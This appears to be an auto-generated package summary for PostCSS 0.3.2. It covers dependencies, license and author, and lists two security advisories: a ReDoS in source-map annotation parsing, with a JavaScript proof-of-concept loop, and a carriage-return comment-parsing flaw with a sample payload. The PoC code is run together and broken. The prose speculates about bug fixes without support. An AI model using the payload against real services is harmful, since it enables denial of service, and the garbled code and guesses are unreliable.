PostCSS, a framework for CSS postprocessors, saw a minor version update from 0.3.1 to 0.3.2 in February 2014. Both versions share the same core dependencies, including base64-js for Base64 encoding and source-map for enhanced debugging. The development dependencies also remain consistent, featuring tools like cssom for CSS Object Model manipulation, mocha for testing, rework for CSS transformations, should for assertions, fs-extra for file system operations, gonzales for CSS parsing, and coffee-script for CoffeeScript support.
The key difference lies in the release date, with version 0.3.2 being published on February 19, 2014, a day later than version 0.3.1. While seemingly a small increment, this suggests that version 0.3.2 likely addresses bug fixes, performance improvements, or minor feature enhancements identified shortly after the release of 0.3.1. Developers considering using PostCSS for their CSS workflow would benefit from opting for the newer 0.3.2 version to leverage these potential improvements. PostCSS allows developers to extends CSS functionalities with plugins. The MIT license grants developers the freedom to use, modify, and distribute the framework. Andrey Sitnik, the author, provides a clear point of contact for any inquiries. The repository URL allows for easy access to the project's source code and contribution opportunities.
All the vulnerabilities related to the version 0.3.2 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.